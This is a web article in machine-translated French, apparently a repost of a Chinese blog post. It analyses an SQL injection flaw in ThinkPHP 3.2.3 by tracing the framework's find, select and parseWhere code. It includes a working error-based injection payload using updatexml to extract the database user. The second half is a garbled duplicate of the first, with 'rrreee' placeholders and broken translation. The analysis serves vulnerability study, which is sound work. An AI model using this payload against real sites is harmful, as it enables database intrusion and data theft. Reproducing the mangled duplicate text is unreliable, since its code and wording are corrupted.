Maison > développement back-end > Problème PHP > Parlons de la vulnérabilité d'injection SQL dans thinkPHP3.2.3

Parlons de la vulnérabilité d'injection SQL dans thinkPHP3.2.3

WBOY
Libérer: 2023-03-15 17:18:02
avant
6561 Les gens l'ont consulté

Cet article vous apporte des connaissances pertinentes sur thinkphp. Il présente principalement les problèmes liés à la vulnérabilité d'injection thinkPHP3.2.3sql, qui comprend également la méthode m, la méthode d, la méthode u et d'autres contenus connexes. . Utile.

Parlons de la vulnérabilité d'injection SQL dans thinkPHP3.2.3

Re apprentissage recommandé: "PHP Video Tutorial"

foreword

save l'ennemi:

  • Résumé des méthodes communes dans ThinkPhp: M méthode, méthode D, méthode U, méthode, Je méthode

  • Thinkphp3.2.3 Consignes de développement de la sécurité

Bâtiment :

  1. La première étape est de le mettre dans le répertoire www (j'utilise phpstudy pour windows) ! ! ! !

  2. Créez une base de données, le nom de la table doit correspondre au nom que vous souhaitez M ensuite

  3. Pas grand chose à dire sur le fichier à connecter à la base de données, configurez-le vous-même : ThinkPHP/Conf/convention.php

  4. Serveur de contrôle de configuration : WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php

    <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
    Copier après la connexion
  5. test:

    Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

text

payload :

?id [où]=1 et 1 = updatexml(1, concat(0x7e,user(),0x7e),1)%23?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

  1. find 方法上,来自/ThinkPHP/Mode/Lite/Model.class.php
 public function find($options=array()) {   
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	$resultSet          =   $this->db->select($options);//重要的一步
Copier après la connexion

2._parseOptions:因为主要针对options[where]所以无关代码我全删除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }
Copier après la connexion

3._options_filter

到这就无了

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

而且上面的操作也会清零 $options,所以这里可能是进错了

所以更正第二部的跟踪,改为

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }
Copier après la connexion

3.buildSelectSql:地址同上

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }
Copier après la connexion

4.parseSql:地址同上

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }
Copier après la connexion

5.parseWhere:同上

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}
Copier après la connexion

最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

然后

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
Copier après la connexion

整个过程没有任何过滤,seay分析thinkPHP太飞费劲了

PHPstorm断点审计:

payload不变:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

还是跟踪find函数:

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

经核实,步入到了另一个函数中:

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

继续跟踪buildSelectSql:

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

继续跟踪parseSql:

Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3

最后的代码变成了:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
Il est vrai que l'injection d'erreur a réussi, tout cela à cause de l'existence de ce code : $data = M('user')-&gt ;find(I('GET.id'));

Il n'y a rien de mal avec les méthodes I et M Le vrai problème réside dans la méthode
find. , depuis /ThinkPHP/Mode/Lite/ Model.class.php

🎜rrreee🎜2.🎜_parseOptions : Parce que c'est principalement pour les options[où], j'ai supprimé tout le code non pertinent🎜🎜🎜🎜/ ThinkPHP/Library/Think/Model.class.php🎜🎜 rrreee🎜3.🎜_options_filter🎜🎜🎜Pas plus ici🎜🎜 Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3🎜🎜Et l'opération ci-dessus effacera également $options, il peut donc y avoir une mauvaise entrée ici🎜🎜Corrigez donc le suivi de la deuxième partie pour 🎜🎜 🎜2.select:/ThinkPHP/Library/ Think/Db/Driver.class.php🎜🎜rrreee🎜🎜3.buildSelectSql : L'adresse est la même que ci-dessus🎜🎜rrreee🎜🎜4.parseSql : L'adresse est la même que celle ci-dessus ci-dessus🎜🎜rrreee🎜🎜5.parseWhere : Comme ci-dessus🎜🎜rrreee🎜Enfin $sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23🎜🎜Puis🎜rrreee 🎜L'ensemble du processus est sans aucun filtrage, l'analyse de mer pense que PHP est trop laborieux🎜🎜Audit du point d'arrêt PHPstorm :🎜 🎜La charge utile reste inchangée : 🎜🎜?id[where]=1 and 1=updatexml(1,concat(0x7e ,user(),0x7e),1)%23🎜🎜Toujours en train de suivre la fonction de recherche : 🎜🎜Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3🎜🎜Suivez ici et entrez, continuez le suivi. À la fin du suivi, cette fonction sautera et la valeur restera inchangée. En même temps, passez à la fonction suivante🎜🎜Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3🎜🎜Après vérification, nous sommes entrés dans une autre fonction : 🎜🎜Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3 🎜🎜Continuez à suivre buildSelectSql : 🎜🎜Parlons de la vulnérabilité dinjection SQL dans thinkPHP3.2.3 🎜 🎜Continue pour suivre Parsesql: 🎜🎜 Image-20211005224207426 select * from user où 1 et 1 = updatexm L (1, Concat (0x7e, user ( ),0x7e),1)# LIMIT 1🎜 Il est toujours facile de déboguer et fondamentalement, ne nécessite pas beaucoup d'utilisation du cerveau🎜🎜Apprentissage recommandé : "🎜Tutoriel vidéo PHP🎜"🎜🎜

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:csdn.net
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal